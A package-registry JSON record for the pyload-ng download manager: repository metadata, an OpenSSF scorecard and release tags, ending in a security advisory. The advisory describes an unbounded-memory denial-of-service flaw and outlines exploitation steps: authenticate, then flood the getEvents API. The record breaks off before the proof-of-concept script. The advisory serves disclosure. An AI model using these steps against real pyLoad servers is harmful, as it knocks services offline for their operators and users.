{"id":2875338,"name":"pyload-ng","ecosystem":"pypi","description":"The free and open-source Download Manager written in pure Python","homepage":"https://pyload.net","licenses":"agpl3","normalized_licenses":["AGPL-3.0"],"repository_url":"https://github.com/pyload/pyload","keywords_array":["pyload","download-manager","one-click-hoster","download"],"namespace":null,"versions_count":106,"first_release_published_at":"2019-06-11T02:24:55.000Z","latest_release_published_at":"2026-07-09T16:55:01.000Z","latest_release_number":"0.5.0b3.dev101","last_synced_at":"2026-09-21T13:21:06.386Z","created_at":"2022-04-10T12:14:45.006Z","updated_at":"2026-09-21T20:35:48.722Z","registry_url":"https://pypi.org/project/pyload-ng/","install_command":"pip install pyload-ng --index-url https://pypi.org/simple","documentation_url":"https://github.com/pyload/pyload/wiki","metadata":{"funding":null,"documentation":"https://github.com/pyload/pyload/wiki","classifiers":["Development Status :: 4 - Beta","Environment :: Console","Environment :: Plugins","Environment :: Web Environment","Intended Audience :: End Users/Desktop","License :: OSI Approved :: GNU Affero General Public License v3","Natural Language :: English","Operating System :: MacOS :: MacOS X","Operating System :: Microsoft :: Windows","Operating System :: POSIX","Programming Language :: Python","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.9","Programming Language :: Python :: Implementation :: CPython","Topic :: Communications","Topic :: Communications :: File Sharing","Topic :: Internet","Topic :: Internet :: File Transfer Protocol (FTP)","Topic :: Internet :: WWW/HTTP"],"normalized_name":"pyload-ng","project_status":null},"repo_metadata":{"id":6873729,"uuid":"8122790","full_name":"pyload/pyload","owner":"pyload","description":"The free and open-source Download Manager written in pure Python","archived":false,"fork":false,"pushed_at":"2026-09-10T21:17:50.000Z","size":50558,"stargazers_count":3868,"open_issues_count":215,"forks_count":754,"subscribers_count":121,"default_branch":"develop","last_synced_at":"2026-09-15T04:39:40.098Z","etag":null,"topics":["cyberlocker","ddl","debrid","download","downloader","downloadmanager","flashgot","headless","jdownloader","linkdecrypter","pyload","pypi","python","qnap","raspberry-pi","synology","webui"],"latest_commit_sha":null,"homepage":"https://pyload.net","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyload.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"custom":["https://PayPal.Me/nitzo2001/0usd"],"github":["GammaC0de"]}},"created_at":"2013-02-10T13:12:02.000Z","updated_at":"2026-09-14T04:20:16.000Z","dependencies_parsed_at":"2026-01-09T03:07:55.278Z","dependency_job_id":null,"html_url":"https://github.com/pyload/pyload","commit_stats":{"total_commits":7208,"total_committers":228,"mean_commits":"31.614035087719298","dds":0.7746947835738069,"last_synced_commit":"0a3a278b640e3910caba2ec5719ca5dcb0831abe"},"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyload/pyload","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyload","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/sbom","scorecard":{"id":303662,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyload/pyload","commit":"d3d6103a548c76aaa8653a6a36e1e793255a2622"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.4,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":2,"reason":"Found 6/30 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/build-and-deploy.yml:1","Warn: no topLevel permission defined: .github/workflows/lint-and-test.yml:1","Warn: no topLevel permission defined: .github/workflows/no-response.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v0.4.20 not signed: https://api.github.com/repos/pyload/pyload/releases/23856648","Warn: release artifact v0.4.9 not signed: https://api.github.com/repos/pyload/pyload/releases/65198","Warn: release artifact v0.4.8 not signed: https://api.github.com/repos/pyload/pyload/releases/65895","Warn: release artifact v0.4.7 not signed: https://api.github.com/repos/pyload/pyload/releases/5102921","Warn: release artifact v0.4.6 not signed: https://api.github.com/repos/pyload/pyload/releases/5102924","Warn: release artifact v0.4.20 does not have provenance: https://api.github.com/repos/pyload/pyload/releases/23856648","Warn: release artifact v0.4.9 does not have provenance: https://api.github.com/repos/pyload/pyload/releases/65198","Warn: release artifact v0.4.8 does not have provenance: https://api.github.com/repos/pyload/pyload/releases/65895","Warn: release artifact v0.4.7 does not have provenance: https://api.github.com/repos/pyload/pyload/releases/5102921","Warn: release artifact v0.4.6 does not have provenance: https://api.github.com/repos/pyload/pyload/releases/5102924"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/build-and-deploy.yml:62"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 6 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: invalid parameter name: .github/workflows/lint-and-test.yml:40","Info: Possibly incomplete results: error parsing shell code: invalid parameter name: .github/workflows/lint-and-test.yml:93","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-deploy.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/build-and-deploy.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-deploy.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/build-and-deploy.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-deploy.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/build-and-deploy.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-and-deploy.yml:78: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/build-and-deploy.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build-and-deploy.yml:84: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/build-and-deploy.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint-and-test.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lint-and-test.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint-and-test.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lint-and-test.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint-and-test.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lint-and-test.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint-and-test.yml:88: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lint-and-test.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint-and-test.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lint-and-test.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint-and-test.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lint-and-test.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/lock.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/lock.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/no-response.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/pyload/pyload/no-response.yml/develop?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:29","Warn: containerImage not pinned by hash: Dockerfile:43","Warn: containerImage not pinned by hash: Dockerfile:59","Warn: containerImage not pinned by hash: Dockerfile:71","Warn: containerImage not pinned by hash: Dockerfile:81","Warn: containerImage not pinned by hash: Dockerfile.armhf:29","Warn: containerImage not pinned by hash: Dockerfile.armhf:42","Warn: containerImage not pinned by hash: Dockerfile.armhf:52","Warn: containerImage not pinned by hash: Dockerfile.armhf:64","Warn: containerImage not pinned by hash: Dockerfile.armhf:74","Warn: pipCommand not pinned by hash: Dockerfile:34-40","Warn: pipCommand not pinned by hash: Dockerfile:66-68","Warn: pipCommand not pinned by hash: Dockerfile:77-78","Warn: pipCommand not pinned by hash: Dockerfile.armhf:34-39","Warn: pipCommand not pinned by hash: Dockerfile.armhf:59-61","Warn: pipCommand not pinned by hash: Dockerfile.armhf:70-71","Warn: pipCommand not pinned by hash: .github/scripts/install_pycurl_win.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/build-and-deploy.yml:49","Warn: pipCommand not pinned by hash: .github/workflows/lint-and-test.yml:66","Warn: pipCommand not pinned by hash: .github/workflows/lint-and-test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/lint-and-test.yml:125","Info:   0 out of  10 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   3 third-party GitHubAction dependencies pinned","Info:   0 out of  10 containerImage dependencies pinned","Info:   0 out of  11 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}}]},"last_synced_at":"2025-08-17T21:25:53.615Z","repository_id":6873729,"created_at":"2025-08-17T21:25:53.615Z","updated_at":"2025-08-17T21:25:53.615Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37350794,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-16T02:00:06.638Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyload","name":"pyLoad","uuid":"3521496","kind":"organization","description":"Free and open-source Download Manager written in pure Python","email":"dev@pyload.net","website":"pyload.net","location":null,"twitter":"pyload","company":null,"icon_url":"https://avatars.githubusercontent.com/u/3521496?v=4","repositories_count":9,"last_synced_at":"2024-03-27T00:55:44.528Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pyload","funding_links":[],"total_stars":3268,"followers":29,"following":0,"created_at":"2022-11-04T21:35:05.805Z","updated_at":"2024-03-27T00:55:49.058Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyload","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyload/repositories"},"tags":[{"name":"v0.4.x","sha":"2fc46cf4c29a8f6e54b3de0e67e5b624d15ad89f","kind":"commit","published_at":"2025-12-29T00:25:45.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.x","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.x","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.x","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.x","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.x/manifests"},{"name":"v0.4.20","sha":"1f29cd14d4c3d90d3249d20165a21c2b04ffed26","kind":"tag","published_at":"2021-04-21T00:49:39.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.20","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.20/manifests"},{"name":"v0.4.9","sha":"903127a5d9c390a750b1ad68b86e7635693ba4e9","kind":"commit","published_at":"2011-12-14T18:00:27.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.9","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.9/manifests"},{"name":"v0.4.8","sha":"3e5c3c4b820f7c7cb7104c186f5c31d388e4d1b4","kind":"commit","published_at":"2011-10-04T12:20:03.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.8","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"a716a1e74c100df534d1c21f92afe1c752e71aa0","kind":"commit","published_at":"2011-08-08T18:30:13.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.7","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"173f65f0073a03abe44a1b58fded7838ad0c4c56","kind":"commit","published_at":"2011-06-18T15:26:51.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.6","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"a74c7923c24567226999417413b625864d8bbd8d","kind":"commit","published_at":"2011-03-15T17:38:16.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.5","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"7df36031dbc49e11c9b82ab08b203bc76fa0280a","kind":"commit","published_at":"2011-01-31T14:57:57.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.4","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"1f3364993cfce318858eb40b6c81191978a78374","kind":"commit","published_at":"2010-11-26T23:38:26.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.3","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"9d8074cceff1f1a9137ec986ed132c889ebb86a2","kind":"commit","published_at":"2010-09-25T12:33:56.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.2","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"41c26097b627cfaa15dcaa473d4300e5d0ec268d","kind":"commit","published_at":"2010-09-06T17:54:46.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4.1","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4.1/manifests"},{"name":"v0.4","sha":"e921a8a45fa785db160d2b1e518e871028454d2f","kind":"commit","published_at":"2010-08-17T13:34:08.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.4","html_url":"https://github.com/pyload/pyload/releases/tag/v0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.4/manifests"},{"name":"v0.3.2","sha":"3d934b204d71d86281c265a51104b695df46f56c","kind":"commit","published_at":"2010-03-10T16:47:22.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.3.2","html_url":"https://github.com/pyload/pyload/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"38a84d8e33622c345a8b84e696fcbd604652fa0c","kind":"commit","published_at":"2010-02-08T17:03:32.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.3.1","html_url":"https://github.com/pyload/pyload/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.3.1/manifests"},{"name":"v0.3","sha":"f81b414dfa722f04af3ca013acfe6f66dc3cbd45","kind":"commit","published_at":"2010-01-23T17:59:55.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.3","html_url":"https://github.com/pyload/pyload/releases/tag/v0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.3/manifests"},{"name":"v0.2.2","sha":"9d68449c658467ac664bc492d67172647095236c","kind":"commit","published_at":"2009-11-08T20:35:57.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.2.2","html_url":"https://github.com/pyload/pyload/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"5a7d201ab8a07184cb38e0b5022441da899b4ad4","kind":"commit","published_at":"2009-09-04T20:54:33.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.2.1","html_url":"https://github.com/pyload/pyload/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.2.1/manifests"},{"name":"v0.2","sha":"80d07c54d7a85a254945bc6d9231551cd5f9836b","kind":"commit","published_at":"2009-09-04T15:12:59.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.2","html_url":"https://github.com/pyload/pyload/releases/tag/v0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.2/manifests"},{"name":"v0.1.1","sha":"1221ad2a069e97b4e2a14f9cd08dd32475381f73","kind":"commit","published_at":"2009-08-12T20:43:40.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.1.1","html_url":"https://github.com/pyload/pyload/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.1.1/manifests"},{"name":"v0.1","sha":"fff2dbbaf9164aef948ffc683377702c71d047a8","kind":"commit","published_at":"2009-08-02T15:58:47.000Z","download_url":"https://codeload.github.com/pyload/pyload/tar.gz/v0.1","html_url":"https://github.com/pyload/pyload/releases/tag/v0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyload/pyload@v0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/tags/v0.1/manifests"}]},"repo_metadata_updated_at":"2026-09-21T10:55:11.146Z","dependent_packages_count":1,"downloads":4710,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":4.923097982849824,"dependent_repos_count":22.068010499262627,"dependent_packages_count":7.302737866584258,"stargazers_count":1.365169692880819,"forks_count":1.6434445063702052,"docker_downloads_count":0.4773498381782093,"average":6.296635064354324},"purl":"pkg:pypi/pyload-ng","advisories":[{"uuid":"GSA_kwCzR0hTQS1jMmY5LTRtYzgtajY1Ns4ABaaq","url":"https://github.com/advisories/GHSA-c2f9-4mc8-j656","title":"pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager","description":"## Description:\nThe `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.\n\n## Vulnerable Code:\nhttps://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17\n\n\u003e Here the client is added to the `clients` list but never cleared the inactive clients.\n\n## Exploitation:\n1.  **Start pyLoad server** (Ensure the `pyload` server is running)\n2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).\n3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API 